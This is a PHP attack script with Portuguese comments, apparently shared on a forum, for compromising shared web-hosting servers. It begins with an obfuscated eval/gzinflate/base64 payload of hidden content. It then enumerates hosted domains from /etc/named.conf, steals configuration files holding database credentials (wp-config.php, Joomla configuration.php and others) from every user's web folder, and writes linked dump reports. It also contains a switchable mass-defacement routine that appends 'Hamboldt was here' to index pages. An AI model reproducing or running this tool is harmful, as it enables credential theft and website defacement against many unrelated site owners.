Kod:
<?php eval(gzinflate(base64_decode('
nVLva5tAGP4+2P/wIoKGptqODEZignRkpBBoF+2gdEUueuaOnJ67O5ua0v99d5qkd uzDGIji+z6/
7lGau3ZyexPFD86vGovGeRy8fPxgP2FBm7yBKUglaCUZkgRL99 3Ln7zBRBMzpJBmWebpqWdl6WGo
eJ0ScN+GLVR7aGSY8wqX4HbMITg7x2zDfCeowuBCixvCKdIA2n XKuNRrMzb4V8wkfjkEkNNOtec4
dESra9PphX7sCGWGTSGYwucBGCY9OzOANaux5m+wkl0oOby8+D QyZJwSDi3AOLZXh6AnQ1VUfraW
XkWqkyfND0LUdHtMGhbbjIqW0fWRcan7yHWwRJsnKS8VLnUIiy hVjX0fNWjPN6z2uNj4EpcZFm9l
Hnvv+/er78//p30T7u/N2w1nxvmQ0vLsJJqvfsxXD84ijm+Thf5JnEfP6i9W8+938yhO7 lbX7aqV
0SJOQC5nUXs0uEd73Q9lGfWCtfBnEF3Hc7i/WcIYHM+4ek67OOI5q/Wqd9DA12qO0SYYGYinY34T
vBhDRPByCVecKwhkXVVchCVNTbOzn6U1gfecr92nOI+bCmsH/Kx8ogo2gZQgIbGa1io//3IghgWi
zLWQwnI0ogVB4cZMvJQX1hCsBUq3jJZbuDJHE9TM7EbfD4aDns ZW//JFQ1mB9mH/6/+zzutv
')));?><?php
function getConfigs () {
// @ Pega os dominios
$dominios = file_get_contents("/etc/named.conf");
preg_match_all('/.*?zone "(.*?)" {/', $dominios, $out);
// @ Conta elementos da array
$numero_dominios = count($out[1]);
print("Numero total de dominios: $numero_dominios <br>");
// @ Pega infos do usuário
for($i = 0; $i <= $numero_dominios; $i++)
{
$domain = $out[1][$i];
$dono_arquivo = fileowner("/etc/valiases/".$domain);
$infos = posix_getpwuid($dono_arquivo);
print_r($infos);
// @ Procura por arquivos de configuração
$config01 = file_get_contents($infos['dir']."/public_html/index.php");
$config02 = file_get_contents($infos['dir']."/public_html/config.php");
$config03 = file_get_contents($infos['dir']."/public_html/conecta.php");
$config04 = file_get_contents($infos['dir']."/public_html/sys/conecta.php");
$config05 = file_get_contents($infos['dir']."/public_html/inc/config.php");
$config06 = file_get_contents($infos['dir']."/public_html/conexao.php");
$config07 = file_get_contents($infos['dir']."/public_html/connection.php");
$config08 = file_get_contents($infos['dir']."/public_html/configuration.php");
$config09 = file_get_contents($infos['dir']."/public_html/wp-config.php");
// @ Pega as indexes, armazena, cria relatorio
if($config01){
$caminho1 = $infos['name'].'_index_'.$domain.'_.txt';
$caminho2 = "<a href=".$caminho1.">index.php</a>";
# Massdeface: 1 = Ligado; 0 = Desligado;
$massdeface = 0;
if($massdeface){
// Mass Deface
$hamboldt01 = fopen($infos['dir']."/public_html/index.html", 'a+');
$hamboldt02 = fopen($infos['dir']."/public_html/index.htm", 'a+');
$hamboldt03 = fopen($infos['dir']."/public_html/index.php", 'a+');
$relatorio = fopen('relatorio.html', 'a+');
if($hamboldt01){
fwrite($hamboldt01, "Hamboldt was here");
fwrite($relatorio, "<pre><b> Mass Defaced: </b> ". $domain."<br>");
}
if($hamboldt02){
fwrite($hamboldt02, "Hamboldt was here");
fwrite($relatorio, "<pre><b> Mass Defaced: </b> ". $domain."<br>");
}
if($hamboldt03){
fwrite($hamboldt03, "Hamboldt was here");
fwrite($relatorio, "<pre><b> Mass Defaced: </b> ". $domain."<br>");
}
}
// Salva index.php
$file = fopen('indexes.html', 'a+');
fwrite($file, '<pre> '.$i.' => '.$domain.' Acessar: '.$caminho2);
$file = fopen($infos['name']."_index_".$domain."_.txt", "w+");
fwrite($file, $config01);
}
// @ Armazena config.php
if($config02){
$caminho1 = $infos['name'].'_config_'.$domain.'_.txt';
$caminho2 = "<a href=".$caminho1.">config.php</a> [<b> OUTROS </b>]";
$domain = "<a href='http://".$domain."'>".$domain."</a>";
// Salva config.php
$file = fopen('configs.html', 'a+');
fwrite($file, '<pre> '.$i.' => '.$domain.' Acessar: '.$caminho2);
$file = fopen($caminho1, "w+");
fwrite($file, $config02);
}
// @ Armazena conecta.php
if($config03){
$caminho1 = $infos['name'].'_conecta_'.$domain.'_.txt';
$caminho2 = "<a href=".$caminho1.">conecta.php</a> [<b> OUTROS </b>]";
$domain = "<a href='http://".$domain."'>".$domain."</a>";
// Salva conecta.php
$file = fopen('configs.html', 'a+');
fwrite($file, '<pre> '.$i.' => '.$domain.' Acessar: '.$caminho2);
$file = fopen($caminho1, "w+");
fwrite($file, $config03);
}
// @ Armazena /sys/conecta.php
if($config04){
$caminho1 = $infos['name'].'_configsys_'.$domain.'_.txt';
$caminho2 = "<a href=".$caminho1.">/sys/conecta.php</a> [<b> OUTROS </b>]";
$domain = "<a href='http://".$domain."'>".$domain."</a>";
// Salva
$file = fopen('configs.html', 'a+');
fwrite($file, '<pre> '.$i.' => '.$domain.' Acessar: '.$caminho2);
$file = fopen($caminho1, "w+");
fwrite($file, $config04);
}
// @ Armazena /inc/config.php
if($config05){
$caminho1 = $infos['name'].'_incconfig_'.$domain.'_.txt';
$caminho2 = "<a href=".$caminho1.">/inc/config.php</a> [<b> OUTROS </b>]";
$domain = "<a href='http://".$domain."'>".$domain."</a>";
// Salva
$file = fopen('configs.html', 'a+');
fwrite($file, '<pre> '.$i.' => '.$domain.' Acessar: '.$caminho2);
$file = fopen($caminho1, "w+");
fwrite($file, $config05);
}
// @ Armazena /conexao.php
if($config06){
$caminho1 = $infos['name'].'_conexao_'.$domain.'_.txt';
$caminho2 = "<a href=".$caminho1.">conexao.php</a> [<b> OUTROS </b>]";
$domain = "<a href='http://".$domain."'>".$domain."</a>";
// Salva
$file = fopen('configs.html', 'a+');
fwrite($file, '<pre> '.$i.' => '.$domain.' Acessar: '.$caminho2);
$file = fopen($caminho1, "w+");
fwrite($file, $config06);
}
// @ Connection.php
if($config07){
$caminho1 = $infos['name'].'_connection_'.$domain.'_.txt';
$caminho2 = "<a href=".$caminho1.">connect.php</a>";
$domain = "<a href='http://".$domain."'>".$domain."</a>";
// Salva
$file = fopen('configs.html', 'a+');
fwrite($file, '<pre> '.$i.' => '.$domain.' Acessar: '.$caminho2);
$file = fopen($caminho1, "w+");
fwrite($file, $config07);
}
// JOOMLA
if($config08){
$caminho1 = '1_JOOMLA_'.$domain.'_.txt';
$caminho2 = "<a href=".$caminho1.">configuration.php</a> [ <font color=red>JOOMLA</font> ]";
$domain = "<a href='http://".$domain."'>".$domain."</a>";
// Salva
$file = fopen('configs.html', 'a+');
fwrite($file, '<pre> '.$i.' => <b>'.$domain.'</b> Acessar: '.$caminho2);
$file = fopen($caminho1, "w+");
fwrite($file, $config08);
}
// JOOMLA
if($config09){
$caminho1 = '1_WP_'.$domain.'_.txt';
$caminho2 = "<a href=".$caminho1.">wp-config.php</a> [ <font color=green>WORDPRESS</font> ]";
$domain = "<a href='http://".$domain."'>".$domain."</a>";
// Salva
$file = fopen('configs.html', 'a+');
fwrite($file, '<pre> '.$i.' => <b>'.$domain.'</b> Acessar: '.$caminho2);
$file = fopen($caminho1, "w+");
fwrite($file, $config09);
}
}
}
function banner ()
{
print_r("<pre>
__ __ ___ __ __
/\ \ /\ \ /\_ \ /\ \/\ \__
\ \ \___ __ ___ ___\ \ \____ ___\//\ \ \_\ \ \ ,_\
\ \ _ `\ /'__`\ /' __` __`\ \ '__`\ / __`\\ \ \ /'_` \ \ \/
\ \ \ \ \/\ \L\.\_/\ \/\ \/\ \ \ \L\ \/\ \L\ \\_\ \_/\ \L\ \ \ \_
\ \_\ \_\ \__/.\_\ \_\ \_\ \_\ \_,__/\ \____//\____\ \___,_\ \__\
\/_/\/_/\/__/\/_/\/_/\/_/\/_/\/___/ \/___/ \/____/\/__,_ /\/__/
[+] Relatorio(MassDeface): <a href='relatorio.html'>relatorio.html</a>
[+] Indexes.php: <a href='indexes.html'>indexes.html</a>
[+] Congigs.php: <a href='configs.html'>configs.html</a>
[+] Dumps: <a href='/wp'>Wordpress</a> | <a href='/vb'>vBulletin</a> | <a href='/ipb'>IPBoard<a> | <a href='/joomla'>Joomla</a> | <a href='/etc'>Outros<a> <br><br><hr>");
}
ini_set("display_errors", "0");
banner();
getConfigs();
?>